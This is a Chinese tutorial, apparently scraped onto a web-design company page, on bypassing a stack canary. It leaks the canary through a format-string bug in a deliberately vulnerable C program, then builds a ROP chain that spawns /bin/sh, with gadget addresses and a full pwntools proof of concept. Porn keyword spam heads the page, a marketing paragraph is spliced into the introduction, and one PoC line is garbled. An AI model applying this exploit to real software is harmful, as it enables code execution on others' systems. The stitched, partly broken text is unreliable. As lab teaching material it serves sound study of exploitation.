日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
構(gòu)造帶有堆棧保護(hù)的指令流

1. 引言

成都做網(wǎng)站、網(wǎng)站設(shè)計(jì)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)服務(wù)團(tuán)隊(duì)是一支充滿著熱情的團(tuán)隊(duì),執(zhí)著、敏銳、追求更好,是創(chuàng)新互聯(lián)的標(biāo)準(zhǔn)與要求,同時(shí)竭誠為客戶提供服務(wù)是我們的理念。創(chuàng)新互聯(lián)把每個(gè)網(wǎng)站當(dāng)做一個(gè)產(chǎn)品來開發(fā),精雕細(xì)琢,追求一名工匠心中的細(xì)致,我們更用心!

我們?cè)趯W(xué)ropgadgets與ret2syscall技術(shù)原理時(shí),構(gòu)造指令流時(shí),是沒有加堆棧保護(hù)的,比如下面的程序:

文件名:7.c

 
 
 
 
  1. #include  
  2. #include  
  3. #include  
  4. #include  
  5. #include  
  6. void exploit() 
  7.     system("/bin/sh"); 
  8. void func() 
  9.     char str[0x20]; 
  10.     read(0,str,0x50); 
  11.     printf(str); 
  12.     read(0,str,0x50); 
  13. int main() 
  14.     func(); 
  15.     return 0; 

我們是這樣編譯的,是沒有加堆棧保護(hù)的,之后再利用ropgadgets構(gòu)造指令流,就可以成功去執(zhí)行execve(“/bin/sh”,null,null);。

 
 
 
 
  1. gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c 

如果加上堆棧保護(hù)我們?cè)撛趺催^呢?像下面這樣編譯:

 
 
 
 
  1. gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c 

顯然我們就不能像原來一樣構(gòu)造指令流了,因?yàn)榧尤肓硕褩1Wo(hù)。那我們?cè)撛趺崔k呢?我們可以利用格式化輸出,將canary打印出來,然后再進(jìn)行指令的組裝。

2. 找地址

調(diào)試我們的程序,找到canary的地址,地址在:0xffffcfac

繼續(xù)調(diào)試,直到printf,我們看看現(xiàn)在canary據(jù)棧頂?shù)奈恢茫?060,除以4等于15,說明傳給第一個(gè)read函數(shù)的值為:%15$08x,就可以將canary打印出來了

重新調(diào)試,找到read函數(shù)把讀進(jìn)來的數(shù)據(jù)存放的地址:0xffffcf8c

將%15$08x給read函數(shù),發(fā)現(xiàn)可以將canary打印出來

接下來就是利用好第二個(gè)read函數(shù)來構(gòu)造rop鏈了。

3.  構(gòu)造rop鏈

linux上系統(tǒng)調(diào)用原理:

  • eax 系統(tǒng)調(diào)用號(hào)
  • ebx 第一個(gè)參數(shù)
  • ecx 第二個(gè)參數(shù)
  • edx 第三個(gè)參數(shù)
  • esi 第四個(gè)參數(shù)
  • edi 第五個(gè)參數(shù)
  • int 0×80

所以eax就存放execve函數(shù)的系統(tǒng)調(diào)用號(hào)11,ebx存放第一個(gè)參數(shù)/bin/sh,ecx存放第二個(gè)參數(shù)null,就是0,edx存放第三個(gè)參數(shù),也是0

 
 
 
 
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax" 

地址用:0x080b8546

 
 
 
 
  1. ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx" 

地址為:0x0806f210

 
 
 
 
  1. ROPgadget --binary ./7.exe --string "/bin/sh" 

地址用:0x080bbd80

 
 
 
 
  1. ROPgadget --binary ./7.exe --only "int"|grep "0x80" 

地址為:0x0806ce37

4. 寫出poc

 
 
 
 
  1. from pwn import * 
  2. context(arch="i386",os="linux") 
  3. p=process('./7.exe') 
  4. p.sendline("%15$08x") 
  5. canary=p.recv()[:8] 
  6. print(canary) 
  7. canarycanary=canary.decode("hex")[::-1]    
  8. coffset=4*8                          
  9. roffset=3*4                  
  10. add_eax=p32(0x080b8546) 
  11. value_eax=p32(0xb) 
  12. add_edx_ecx_ebx=p32(0x0806f210) 
  13. value_ebx=p32(0x080bbd80) 
  14. value_ecx=p32(0) 
  15. value_edx=p32(0) 
  16. add_int=p32(0x0806ce37) 
  17. payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int 
  18. p.sendline(payload) 
  19. p.interactive() 

從from pwn import *到canary=canary.decode(“hex”)[::-1]都是為了找出canary,因?yàn)榧恿硕褩1Wo(hù),我們不能直接把數(shù)據(jù)打入到堆棧中,所以要先找出canary,然后構(gòu)造payload,我們要把canary加進(jìn)去,過堆棧保護(hù),再在后面加上我們的rop鏈。

執(zhí)行成功

5. 總結(jié)

開啟了堆棧保護(hù),加入了cookie,一旦我們破壞了堆棧,會(huì)引起系統(tǒng)保護(hù),出現(xiàn)異常。但是我們還是需要構(gòu)造我們的指令流,我們可以利用格式化輸出,將canary打印出來,接下來我們可以利用讀寫函數(shù),構(gòu)造一個(gè)指令流,我們先去讀,看一下堆棧的canary在哪里,然后我們canary搞出來,把canary再回填進(jìn)去,進(jìn)行組裝,這樣就即可以過堆棧保護(hù),也可以構(gòu)造我們的指令流了。


網(wǎng)站欄目:構(gòu)造帶有堆棧保護(hù)的指令流
標(biāo)題路徑:http://www.5511xx.com/article/djiposg.html